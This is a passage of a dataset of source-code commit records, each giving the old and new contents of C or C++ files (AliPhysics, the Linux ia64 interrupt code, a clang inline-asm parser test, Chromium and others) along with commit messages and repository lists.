*L);\n\n#endif\n","subject":"Change Lua registry key to PythonObject.","message":"Change Lua registry key to PythonObject.\n","lang":"C","license":"lgpl-2.1","repos":"dmcooke\/Lunatic-Python,dmcooke\/Lunatic-Python"}
{"commit":"847d68b622b46fa558ddade13a1b04f9cf9a24b9","old_file":"PWG3\/PWG3LinkDef.h","new_file":"PWG3\/PWG3LinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all glols;\n#pragma link off all classes;\n#pragma link off all functions;\n\n\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all glols;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class AliD0toKpi+;\n#pragma link C++ class AliD0toKpiAnalysis+;\n#pragma link C++ class AliBtoJPSItoEle+;\n#pragma link C++ class AliBtoJPSItoEleAnalysis+;\n\n\n#endif\n","subject":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)","message":"Move AliD0toKpi* and AliBtoJPSI* from libPWG3base to libPWG3 (Andrea)\n\n","lang":"C","license":"bsd-3-clause","repos":"fcolamar\/AliPhysics,dmuhlhei\/AliPhysics,pbuehler\/AliPhysics,carstooon\/AliPhysics,rderradi\/AliPhysics,mbjadhav\/AliPhysics,fbellini\/AliPhysics,preghenella\/AliPhysics,mkrzewic\/AliPhysics,btrzecia\/AliPhysics,kreisl\/AliPhysics,mazimm\/AliPhysics,nschmidtALICE\/AliPhysics,lcunquei\/AliPhysics,fcolamar\/AliPhysics,kreisl\/AliPhysics,amatyja\/AliPhysics,mkrzewic\/AliPhysics,ALICEHLT\/AliPhysics,amatyja\/AliPhysics,lfeldkam\/AliPhysics,adriansev\/AliPhysics,ppribeli\/AliPhysics,pbatzing\/AliPhysics,rihanphys\/AliPhysics,SHornung1\/AliPhysics,jmargutt\/AliPhysics,pbuehler\/AliPhysics,pbuehler\/AliPhysics,dstocco\/AliPhysics,akubera\/AliPhysics,preghenella\/AliPhysics,fcolamar\/AliPhysics,AMechler\/AliPhysics,akubera\/AliPhysics,pbuehler\/AliPhysics,nschmidtALICE\/AliPhysics,mbjadhav\/AliPhysics,carstooon\/AliPhysics,hcab14\/AliPhysics,mbjadhav\/AliPhysics,AudreyFrancisco\/AliPhysics,akubera\/AliPhysics,kreisl\/AliPhysics,kreisl\/AliPhysics,sebaleh\/AliPhysics,rihanphys\/AliPhysics,hzanoli\/AliPhysics,dstocco\/AliPhysics,lfeldkam\/AliPhysics,lfeldkam\/AliPhysics,btrzecia\/AliPhysics,rbailhac\/AliPhysics,aaniin\/AliPhysics,lfeldkam\/AliPhysics,rderradi\/AliPhysics,lcunquei\/AliPhysics,dmuhlhei\/AliPhysics,pchrista\/AliPhysics,lfeldkam\/AliPhysics,rihanphys\/AliPhysics,alisw\/AliPhysics,nschmidtALICE\/AliPhysics,amatyja\/AliPhysics,nschmidtALICE\/AliPhysics,aaniin\/AliPhysics,amaringarcia\/AliPhysics,mpuccio\/AliPhysics,preghenella\/AliPhysics,pbuehler\/AliPhysics,jgronefe\/AliPhysics,pchrista\/AliPhysics,amatyja\/AliPhysics,hcab14\/AliPhysics,rihanphys\/AliPhysics,mpuccio\/AliPhysics,hcab14\/AliPhysics,sebaleh\/AliPhysics,fcolamar\/AliPhysics,AudreyFrancisco\/AliPhysics,preghenella\/AliPhysics,mazimm\/AliPhysics,adriansev\/AliPhysics,aaniin\/AliPhysics,mkrzewic\/AliPhysics,jgronefe\/AliPhysics,btrzecia\/AliPhysics,jgronefe\/AliPhysics,fbellini\/AliPhysics,ALICEHLT\/AliPhysics,fbellini\/AliPhysics,rbailhac\/AliPhysics,fbellini\/AliPhysics,AMechler\/AliPhysics,ALICEHLT\/AliPhysics,dlodato\/AliPhysics,jmargutt\/AliPhysics,AMechler\/AliPhysics,carstooon\/AliPhysics,dmuhlhei\/AliPhysics,amaringarcia\/AliPhysics,mkrzewic\/AliPhysics,mvala\/AliPhysics,mpuccio\/AliPhysics,yowatana\/AliPhysics,rihanphys\/AliPhysics,SHornung1\/AliPhysics,lfeldkam\/AliPhysics,mkrzewic\/AliPhysics,sebaleh\/AliPhysics,lfeldkam\/AliPhysics,rbailhac\/AliPhysics,mazimm\/AliPhysics,AMechler\/AliPhysics,dmuhlhei\/AliPhysics,pbatzing\/AliPhysics,mvala\/AliPhysics,SHornung1\/AliPhysics,sebaleh\/AliPhysics,mpuccio\/AliPhysics,amaringarcia\/AliPhysics,pbuehler\/AliPhysics,mkrzewic\/AliPhysics,ppribeli\/AliPhysics,aaniin\/AliPhysics,adriansev\/AliPhysics,yowatana\/AliPhysics,victor-gonzalez\/AliPhysics,sebaleh\/AliPhysics,pchrista\/AliPhysics,hcab14\/AliPhysics,rihanphys\/AliPhysics,victor-gonzalez\/AliPhysics,lcunquei\/AliPhysics,alisw\/AliPhysics,yowatana\/AliPhysics,jgronefe\/AliPhysics,btrzecia\/AliPhysics,ppribeli\/AliPhysics,ALICEHLT\/AliPhysics,fcolamar\/AliPhysics,SHornung1\/AliPhysics,dstocco\/AliPhysics,pchrista\/AliPhysics,dmuhlhei\/AliPhysics,mkrzewic\/AliPhysics,carstooon\/AliPhysics,jmargutt\/AliPhysics,fbellini\/AliPhysics,sebaleh\/AliPhysics,ppribeli\/AliPhysics,mbjadhav\/AliPhysics,pbatzing\/AliPhysics,SHornung1\/AliPhysics,mazimm\/AliPhysics,amatyja\/AliPhysics,adriansev\/AliPhysics,preghenella\/AliPhysics,alisw\/AliPhysics,aaniin\/AliPhysics,aaniin\/AliPhysics,dmuhlhei\/AliPhysics,kreisl\/AliPhysics,btrzecia\/AliPhysics,alisw\/AliPhysics,jgronefe\/AliPhysics,pbatzing\/AliPhysics,hcab14\/AliPhysics,hzanoli\/AliPhysics,hzanoli\/AliPhysics,victor-gonzalez\/AliPhysics,mpuccio\/AliPhysics,dlodato\/AliPhysics,fbellini\/AliPhysics,SHornung1\/AliPhysics,rbailhac\/AliPhysics,mazimm\/AliPhysics,sebaleh\/AliPhysics,ppribeli\/AliPhysics,mvala\/AliPhysics,mvala\/AliPhysics,mazimm\/AliPhysics,adriansev\/AliPhysics,hzanoli\/AliPhysics,mvala\/AliPhysics,ALICEHLT\/AliPhysics,fcolamar\/AliPhysics,amatyja\/AliPhysics,dmuhlhei\/AliPhysics,jgronefe\/AliPhysics,mvala\/AliPhysics,jmargutt\/AliPhysics,carstooon\/AliPhysics,dlodato\/AliPhysics,alisw\/AliPhysics,amatyja\/AliPhysics,AMechler\/AliPhysics,lcunquei\/AliPhysics,preghenella\/AliPhysics,mpuccio\/AliPhysics,hzanoli\/AliPhysics,AudreyFrancisco\/AliPhysics,SHornung1\/AliPhysics,rderradi\/AliPhysics,btrzecia\/AliPhysics,amaringarcia\/AliPhysics,pbatzing\/AliPhysics,adriansev\/AliPhysics,AudreyFrancisco\/AliPhysics,nschmidtALICE\/AliPhysics,rderradi\/AliPhysics,amaringarcia\/AliPhysics,pbatzing\/AliPhysics,aaniin\/AliPhysics,yowatana\/AliPhysics,ppribeli\/AliPhysics,hzanoli\/AliPhysics,alisw\/AliPhysics,AudreyFrancisco\/AliPhysics,akubera\/AliPhysics,lcunquei\/AliPhysics,yowatana\/AliPhysics,jmargutt\/AliPhysics,AMechler\/AliPhysics,victor-gonzalez\/AliPhysics,AudreyFrancisco\/AliPhysics,mbjadhav\/AliPhysics,amaringarcia\/AliPhysics,mbjadhav\/AliPhysics,kreisl\/AliPhysics,akubera\/AliPhysics,rderradi\/AliPhysics,dlodato\/AliPhysics,fcolamar\/AliPhysics,lcunquei\/AliPhysics,dstocco\/AliPhysics,jmargutt\/AliPhysics,victor-gonzalez\/AliPhysics,dlodato\/AliPhysics,dlodato\/AliPhysics,yowatana\/AliPhysics,pbuehler\/AliPhysics,dlodato\/AliPhysics,yowatana\/AliPhysics,jmargutt\/AliPhysics,ppribeli\/AliPhysics,victor-gonzalez\/AliPhysics,mvala\/AliPhysics,jgronefe\/AliPhysics,nschmidtALICE\/AliPhysics,hcab14\/AliPhysics,rbailhac\/AliPhysics,carstooon\/AliPhysics,kreisl\/AliPhysics,dstocco\/AliPhysics,fbellini\/AliPhysics,AudreyFrancisco\/AliPhysics,rihanphys\/AliPhysics,preghenella\/AliPhysics,alisw\/AliPhysics,pbatzing\/AliPhysics,mpuccio\/AliPhysics,mazimm\/AliPhysics,hzanoli\/AliPhysics,akubera\/AliPhysics,rderradi\/AliPhysics,lcunquei\/AliPhysics,ALICEHLT\/AliPhysics,AMechler\/AliPhysics,amaringarcia\/AliPhysics,carstooon\/AliPhysics,rderradi\/AliPhysics,mbjadhav\/AliPhysics,pchrista\/AliPhysics,adriansev\/AliPhysics,ALICEHLT\/AliPhysics,rbailhac\/AliPhysics,nschmidtALICE\/AliPhysics,akubera\/AliPhysics,pchrista\/AliPhysics,rbailhac\/AliPhysics,dstocco\/AliPhysics,pchrista\/AliPhysics,btrzecia\/AliPhysics,victor-gonzalez\/AliPhysics,hcab14\/AliPhysics,dstocco\/AliPhysics"}
{"commit":"3aca30dc730b96e1ac50933bae2914c81a3a3c67","old_file":"cod.c","new_file":"cod.c","old_contents":"#include <stdio.h>\n\nunsigned int x;\nchar in;\n\nvoid input(void);\n\nvoid main(void){\n  x = 0;\n  input();\n}\n\nvoid input(void){\n  printf(\">> \"); \/* Bash-like input *\/\n  scanf(\"%c\", &in); \/* Get char input *\/\n\n  \/* Boundary checks *\/\n  if(x == 256 || x == -1) x = 0;\n  \n  \/* Operators *\/\n  switch(in){\n    case 'i': case 'x':\n      x++;\n    case 'd':\n      x--;\n    case 'o': case 'c':\n      printf(\"%d\\n\", x);\n    case 's': case 'k':\n      x = x*x;\n    default:\n      printf(\"\\n\");\n  }\n\n  input(); \/* Loop *\/\n}\n","new_contents":"#include <stdio.h>\n\nunsigned int x;\nchar in;\n\nvoid input(void);\nvoid run(char c);\n\nvoid main(void){\n  x = 0;\n  input();\n}\n\nvoid input(void){\n  printf(\">> \"); \/* Bash-like input *\/\n  scanf(\"%c\", &in); \/* Get char input *\/\n  run(in);\n  input(); \/* Loop *\/\n}\n\nvoid run(char c){\n \/* Boundary checks *\/\n  if(x == 256 || x == -1) x = 0;\n  \n  \/* Operators *\/\n  switch(in){\n    case 'i': case 'x':\n      x++;\n    case 'd':\n      x--;\n    case 'o': case 'c':\n      printf(\"%d\\n\", x);\n    case 's': case 'k':\n      x = x*x;\n    default:\n      printf(\"\\n\");\n  } \n}\n","subject":"Move run into new method","message":"Move run into new method","lang":"C","license":"mit","repos":"phase\/cod"}
{"commit":"5c217b60fed39ed2ac6a2e8b788df4a74fa68878","old_file":"arch\/ia64\/kernel\/irq_lsapic.c","new_file":"arch\/ia64\/kernel\/irq_lsapic.c","old_contents":"\/*\n * LSAPIC Interrupt Controller\n *\n * This takes care of interrupts that are generated by the CPU's\n * internal Streamlined Advanced Programmable Interrupt Controller\n * (LSAPIC), such as the ITC and IPI interrupts.\n    *\n * Copyright (C) 1999 VA Linux Systems\n * Copyright (C) 1999 Walt Drummond <drummond@valinux.com>\n * Copyright (C) 2000 Hewlett-Packard Co\n * Copyright (C) 2000 David Mosberger-Tang <davidm@hpl.hp.com>\n *\/\n\n#include <linux\/sched.h>\n#include <linux\/irq.h>\n\nstatic unsigned int\nlsapic_noop_startup (unsigned int irq)\n{\n\treturn 0;\n}\n\nstatic void\nlsapic_noop (unsigned int irq)\n{\n\t\/* nothing to do... *\/\n}\n\nstatic int lsapic_retrigger(unsigned int irq)\n{\n\tia64_resend_irq(irq);\n\n\treturn 1;\n}\n\nstruct irq_chip irq_type_ia64_lsapic = {\n\t.name =\t\t\"LSAPIC\",\n\t.startup =\tlsapic_noop_startup,\n\t.shutdown =\tlsapic_noop,\n\t.enable =\tlsapic_noop,\n\t.disable =\tlsapic_noop,\n\t.ack =\t\tlsapic_noop,\n\t.retrigger =\tlsapic_retrigger,\n};\n","new_contents":"\/*\n * LSAPIC Interrupt Controller\n *\n * This takes care of interrupts that are generated by the CPU's\n * internal Streamlined Advanced Programmable Interrupt Controller\n * (LSAPIC), such as the ITC and IPI interrupts.\n    *\n * Copyright (C) 1999 VA Linux Systems\n * Copyright (C) 1999 Walt Drummond <drummond@valinux.com>\n * Copyright (C) 2000 Hewlett-Packard Co\n * Copyright (C) 2000 David Mosberger-Tang <davidm@hpl.hp.com>\n *\/\n\n#include <linux\/sched.h>\n#include <linux\/irq.h>\n\nstatic unsigned int\nlsapic_noop_startup (struct irq_data *data)\n{\n\treturn 0;\n}\n\nstatic void\nlsapic_noop (struct irq_data *data)\n{\n\t\/* nothing to do... *\/\n}\n\nstatic int lsapic_retrigger(struct irq_data *data)\n{\n\tia64_resend_irq(data->irq);\n\n\treturn 1;\n}\n\nstruct irq_chip irq_type_ia64_lsapic = {\n\t.name =\t\t\t\"LSAPIC\",\n\t.irq_startup =\t\tlsapic_noop_startup,\n\t.irq_shutdown =\t\tlsapic_noop,\n\t.irq_enable =\t\tlsapic_noop,\n\t.irq_disable =\t\tlsapic_noop,\n\t.irq_ack =\t\tlsapic_noop,\n\t.irq_retrigger =\tlsapic_retrigger,\n};\n","subject":"Convert lsapic to new irq_chip functions","message":"ia64: Convert lsapic to new irq_chip functions\n\nSigned-off-by: Thomas Gleixner <00e4cf8f46a57000a44449bf9dd8cbbcc209fd2a@linutronix.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"c6998bbba2a0dc57e5dbb2ceff2146cfd52a34d5","old_file":"include\/PurchaseEvent.h","new_file":"include\/PurchaseEvent.h","old_contents":"#ifndef _PURCHASEEVENT_H_\n#define _PURCHASEEVENT_H_\n\n#include <Event.h>\n\nclass PurchaseEvent : public Event {\npublic:\n  enum Type {\n    PURCHASE_STATUS\n  };\n PurchaseEvent(double _timestamp, int _productId, Type _type, bool _newPurchase) : Event(_timestamp), type(_type), newPurchase(_newPurchase), productId(_productId) { }\n\n  Event * dup() const override { return new PurchaseEvent(*this); }\n  void dispatch(EventHandler & element) override;\n  bool isBroadcast() const override { return true; }\n  \n  Type getType() { return type; }\n  bool isNew() { return newPurchase; }\n  int getProductId() { return productId; }\n\n private:\n  Type type;\n  bool newPurchase;\n  int productId;\n};\n\n#endif\n","new_contents":"#ifndef _PURCHASEEVENT_H_\n#define _PURCHASEEVENT_H_\n\n#include <Event.h>\n\nclass PurchaseEvent : public Event {\npublic:\n  enum Type {\n    PURCHASE_STATUS\n  };\n PurchaseEvent(double _timestamp, std::string _productId, Type _type, bool _newPurchase) : Event(_timestamp), type(_type), newPurchase(_newPurchase), productId(_productId) { }\n\n  Event * dup() const override { return new PurchaseEvent(*this); }\n  void dispatch(EventHandler & element) override;\n  bool isBroadcast() const override { return true; }\n  \n  Type getType() { return type; }\n  bool isNew() { return newPurchase; }\n  std::string getProductId() { return productId; }\n\n private:\n  Type type;\n  bool newPurchase;\n  std::string productId;\n};\n\n#endif\n","subject":"Change product Id to string","message":"Change product Id to string","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"8f533f0b1a6a6a5b4d2d966269658efdb15319e6","old_file":"Source\/HaxeInit\/Private\/StubUObject.h","new_file":"Source\/HaxeInit\/Private\/StubUObject.h","old_contents":"","new_contents":"#pragma once\n#include <Engine.h>\n#include \"StubUObject.generated.h\"\n\n\/\/ This class is only here to make sure we're visible to UHT.\n\/\/ We need to be visible to UHT so that UE4HaxeExternGenerator works correctly\n\/\/ (as any script generator must return a module name that is visible to UHT)\n\/\/ see IScriptGeneratorPluginInterface::GetGeneratedCodeModuleName for the related code\nUCLASS()\nclass HAXEINIT_API UObjectStub : public UObject {\n  GENERATED_BODY()\n};\n","subject":"Add uobject stub to make the script generator plugin happy","message":"Add uobject stub to make the script generator plugin happy\n","lang":"C","license":"mit","repos":"proletariatgames\/unreal.hx,proletariatgames\/unreal.hx,proletariatgames\/unreal.hx"}
{"commit":"80d38eb7f25cd0fe2483a52ab225fa7331615f18","old_file":"test\/Parser\/ms-inline-asm.c","new_file":"test\/Parser\/ms-inline-asm.c","old_contents":"\/\/ RUN: %clang_cc1 %s -verify -fasm-blocks\n\n#define M __asm int 0x2c\n#define M2 int\n\nvoid t1(void) { M }\nvoid t2(void) { __asm int 0x2c }\nvoid t3(void) { __asm M2 0x2c }\nvoid t4(void) { __asm mov eax, fs:[0x10] }\nvoid t5() {\n  __asm {\n    int 0x2c ; } asm comments are fun! }{\n  }\n  __asm {}\n}\nint t6() {\n  __asm int 3 ; } comments for single-line asm\n  __asm {}\n\n  __asm int 4\n  return 10;\n}\nvoid t7() {\n  __asm {\n    push ebx\n    mov ebx, 0x07\n    pop ebx\n  }\n}\nvoid t8() {\n  __asm nop __asm nop __asm nop\n}\nvoid t9() {\n  __asm nop __asm nop ; __asm nop\n}\nint t_fail() { \/\/ expected-note {{to match this}}\n  __asm \n  __asm { \/\/ expected-error 3 {{expected}} expected-note {{to match this}}\n","new_contents":"\/\/ REQUIRES: x86-64-registered-target\n\/\/ RUN: %clang_cc1 %s -verify -fasm-blocks\n\n#define M __asm int 0x2c\n#define M2 int\n\nvoid t1(void) { M }\nvoid t2(void) { __asm int 0x2c }\nvoid t3(void) { __asm M2 0x2c }\nvoid t4(void) { __asm mov eax, fs:[0x10] }\nvoid t5() {\n  __asm {\n    int 0x2c ; } asm comments are fun! }{\n  }\n  __asm {}\n}\nint t6() {\n  __asm int 3 ; } comments for single-line asm\n  __asm {}\n\n  __asm int 4\n  return 10;\n}\nvoid t7() {\n  __asm {\n    push ebx\n    mov ebx, 0x07\n    pop ebx\n  }\n}\nvoid t8() {\n  __asm nop __asm nop __asm nop\n}\nvoid t9() {\n  __asm nop __asm nop ; __asm nop\n}\nint t_fail() { \/\/ expected-note {{to match this}}\n  __asm \n  __asm { \/\/ expected-error 3 {{expected}} expected-note {{to match this}}\n","subject":"Add x86 requirement to hopefully fix ppc bots.","message":"Add x86 requirement to hopefully fix ppc bots.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@173190 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"38f0051c77a1057fe0547eeefb9c83d067f8265c","old_file":"kernel\/types.h","new_file":"kernel\/types.h","old_contents":"\/\/ The Mordax Microkernel\n\/\/ (c) Kristian Klomsten Skordal 2013 <kristian.skordal@gmail.com>\n\/\/ Report bugs and issues on <http:\/\/github.com\/skordal\/mordax\/issues>\n\n#ifndef MORDAX_TYPES_H\n#define MORDAX_TYPES_H\n\n#include <stdint.h>\n\n\/** Object size type. *\/\ntypedef uint32_t size_t;\n\n\/** Physical pointer type. *\/\ntypedef void * physical_ptr;\n\n\/** 64-bit generic big endian type. *\/\ntypedef uint64_t be64;\n\/** 32-bit generic big endian type. *\/\ntypedef uint32_t be32;\n\n\/** 64-bit generic little endian type. *\/\ntypedef uint64_t le64;\n\/** 32-bit generic little endian type. *\/\ntypedef uint32_t le32;\n\n#endif\n\n","new_contents":"\/\/ The Mordax Microkernel\n\/\/ (c) Kristian Klomsten Skordal 2013 <kristian.skordal@gmail.com>\n\/\/ Report bugs and issues on <http:\/\/github.com\/skordal\/mordax\/issues>\n\n#ifndef MORDAX_TYPES_H\n#define MORDAX_TYPES_H\n\n#include <stdbool.h>\n#include <stdint.h>\n\n\/** Object size type. *\/\ntypedef uint32_t size_t;\n\n\/** Physical pointer type. *\/\ntypedef void * physical_ptr;\n\n\/** 64-bit generic big endian type. *\/\ntypedef uint64_t be64;\n\/** 32-bit generic big endian type. *\/\ntypedef uint32_t be32;\n\n\/** 64-bit generic little endian type. *\/\ntypedef uint64_t le64;\n\/** 32-bit generic little endian type. *\/\ntypedef uint32_t le32;\n\n#endif\n\n","subject":"Add stdbool to the datatype header","message":"Add stdbool to the datatype header\n","lang":"C","license":"bsd-3-clause","repos":"skordal\/mordax"}
{"commit":"b4aeaf99c621d17a147acf431d7e131c6860f5ac","old_file":"bmmap.c","new_file":"bmmap.c","old_contents":"#include \"bmmap.h\"\n#include \"vty.h\"\n\nvoid bmmap_init() {\n}\n\nvoid bmmap_print() {                                            \n  vty_puts(\"BIOS memory map:\\n\");\n  vty_printf(\"%d entries at %p\\n\",\n             *bios_memmap_entries_ptr,\n             bios_memmap_ptr);\n  vty_printf(\"ADDR LOW   ADDR HI   LEN LOW    LEN HI      TYPE  RESERVED\\n\");\n  for(int i = 0; i < *bios_memmap_entries_ptr; i++) {\n    BmmapEntry * entry = &(*bios_memmap_ptr)[i];\n    vty_printf(\"%08x  %08x  %08x  %08x  %08x  %08x\\n\",\n               entry->base_addr_low,\n               entry->base_addr_high,\n               entry->length_low,\n               entry->length_high,\n               entry->type,\n               entry->reserved);\n  }\n}\n","new_contents":"#include \"bmmap.h\"\n#include \"vty.h\"\n\nvoid bmmap_init() {\n}\n\nvoid bmmap_print() {                                            \n  vty_puts(\"BIOS memory map:\\n\");\n  vty_printf(\"%d entries at %p\\n\",\n             *bios_memmap_entries_ptr,\n             bios_memmap_ptr);\n  vty_printf(\"       ADDR               LEN           TYPE    RESERVED\\n\");\n  for(int i = 0; i < *bios_memmap_entries_ptr; i++) {\n    BmmapEntry * entry = &(*bios_memmap_ptr)[i];\n    vty_printf(\"%08x:%08x  %08x:%08x  %08x  %08x\\n\",\n               entry->base_addr_high,\n               entry->base_addr_low,\n               entry->length_high,\n               entry->length_low,\n               entry->type,\n               entry->reserved);\n  }\n}\n","subject":"Tweak display of BIOS memory map","message":"Tweak display of BIOS memory map\n","lang":"C","license":"mit","repos":"wconrad\/brazzle,wconrad\/brazzle"}
{"commit":"73689e53255c6ac22a90b0cd01fe40180ec2bbba","old_file":"chrome\/browser\/desktop_notification_handler.h","new_file":"chrome\/browser\/desktop_notification_handler.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#define CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass GURL;\nstruct DesktopNotificationHostMsg_Show_Params;\n\n\/\/ Per-tab Desktop notification handler. Handles desktop notification IPCs\n\/\/ coming in from the renderer.\nclass DesktopNotificationHandler : public RenderViewHostObserver {\n public:\n  explicit DesktopNotificationHandler(RenderViewHost* render_view_host);\n  virtual ~DesktopNotificationHandler();\n\n private:\n  \/\/ RenderViewHostObserver implementation.\n  virtual bool OnMessageReceived(const IPC::Message& message);\n\n  \/\/ IPC handlers.\n  void OnShow(const DesktopNotificationHostMsg_Show_Params& params);\n  void OnCancel(int notification_id);\n  void OnRequestPermission(const GURL& origin, int callback_id);\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(DesktopNotificationHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#define CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass GURL;\nstruct DesktopNotificationHostMsg_Show_Params;\n\n\/\/ Per-tab Desktop notification handler. Handles desktop notification IPCs\n\/\/ coming in from the renderer.\nclass DesktopNotificationHandler : public RenderViewHostObserver {\n public:\n  explicit DesktopNotificationHandler(RenderViewHost* render_view_host);\n  virtual ~DesktopNotificationHandler();\n\n private:\n  \/\/ RenderViewHostObserver implementation.\n  bool OnMessageReceived(const IPC::Message& message);\n\n  \/\/ IPC handlers.\n  void OnShow(const DesktopNotificationHostMsg_Show_Params& params);\n  void OnCancel(int notification_id);\n  void OnRequestPermission(const GURL& origin, int callback_id);\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(DesktopNotificationHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n\n","subject":"Revert 80939 - Fix clang error TBR=jam@chromium.org","message":"Revert 80939 - Fix clang error\nTBR=jam@chromium.org\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@80954 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"dushu1203\/chromium.src,anirudhSK\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,Just-D\/chromium-1,dednal\/chromium.src,zcbenz\/cefode-chromium,robclark\/chromium,anirudhSK\/chromium,ondra-novak\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,robclark\/chromium,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,rogerwang\/chromium,ltilve\/chromium,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,rogerwang\/chromium,ondra-novak\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,keishi\/chromium,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,Chilledheart\/chromium,zcbenz\/cefode-chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,jaruba\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,nacl-webkit\/chrome_deps,jaruba\/chromium.src,patrickm\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,axinging\/chromium-crosswalk,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,M4sse\/chromium.src,keishi\/chromium,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,Just-D\/chromium-1,mohamed--abdel-maksoud\/chr